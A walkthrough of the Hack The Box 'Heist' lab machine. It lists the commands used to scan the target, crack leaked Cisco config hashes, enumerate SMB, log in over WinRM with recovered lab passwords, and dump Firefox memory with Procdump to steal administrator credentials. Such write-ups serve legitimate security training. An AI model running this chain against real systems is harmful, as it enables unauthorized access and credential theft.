Hack The Box - Heist - Walkthrough
Introduction
Today we're going to be doing a pentest walkthrough of the Heist machine hosted at https://hackthebox.eu. For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Heist machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.118.120.
Scanning and Enumeration
We'll start by scanning for open ports with Nmap:
nmap -T4 -p- 10.129.118.120
Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:
nmap -sV -T4 -p80,135,445,5985,49669 10.129.118.120
This seems mostly typical for Windows systems, but we notice that port 5985 is open, which is associated with WinRM, so we'll keep in mind as we continue with our enumeration. For now, we'll take a look at the webpage:
http://10.129.118.120
If we don't have credentials for the page, we might as well try enumerating as a guest user:
http://10.129.118.120/login.php?guest=true
We're redirected to this tech support conversation. There's a few different things to note here. First, we're dealing with Cisco software / equipment on this system. Second, there's a username Hazard on the server. Third, there's an attachment file to look at:
http://10.129.118.120/attachments/config.txt
Now that we have cracked a few potential passwords and captured a few usernames, we can attempt to authenticate into SMB using one of these combinations. We find that the credential combination of hazard and stealth1agent are valid credentials for SMB, as illustrated here:
smbclient -L \\\\10.129.118.120\\ -U hazard
We successfully enumerate SMB shares names using the hazard / stealth1agent credentials, but are unable to continue. Now that we've identified valid SMB credentials, we can attempt to further enumerate the SMB service using Enum4linux:
enum4linux -a -u hazard -p stealth1agent 10.129.118.120 | grep -i user
We manage to pick up a few more usernames for the system, so we can attempt to match one of these names with remaining cracked passwords we have. It turns out that the chase user matches up with the Cisco router admin password Q4)sJu\Y8qz*A3?d . That implies that chase is an admin user on the Windows system, and we also recall that WinRM is available on the server, so we attempt to login using the chase credentials:
evil-winrm -i 10.129.118.120 -u chase -p 'Q4)sJu\Y8qz*A3?d'
Foothold Enumeration
While enumerating the system, we find an unusual process running:
get-process
Privilege Escalation
If we were to use Procdump on the Firefox process, we may be able to capture credential information for any webpage sessions that are active in Firefox. To do this, we'll need to do the following:
1) Upload Procdump.exe to the Windows system.
2) Execute Procdump on the Firefox process and save the output to a file.
3) Download the dump file to our attacking machine.
4) Enumerate the dump file for credential information.
First, we download the Procdump zip file from the Microsoft website, then upzip the file:
wget https://download.sysinternals.com/files/Procdump.zip
unzip Procdump.zip
Second, we run Procdump against the Firefox process with the highest CPU usage:
.\procdump64.exe -accepteula -ma 6600
Third, we download the dump file to our attacking system using Evil-WinRM. This takes quite a bit of time, because the dump file is around 500 mb:
download c:\users\chase\documents\firefox.exe_210325_033219.dmp
Summary
After initial scans, we found that a page on the webserver exposed password hashes, which we were able to crack and use to enumerate the target's SMB service, which led to capture of valid WinRM credentials. Using those credentials, we were able to gain a foothold on the target and found a running Firefox process running on the system. Through use of the Procdump program, we were able to extract administrator credentials from the process and login to the WinRM service using the Administrator account, allowing us to capture our objective flag file.
Finish
Comments
Post a Comment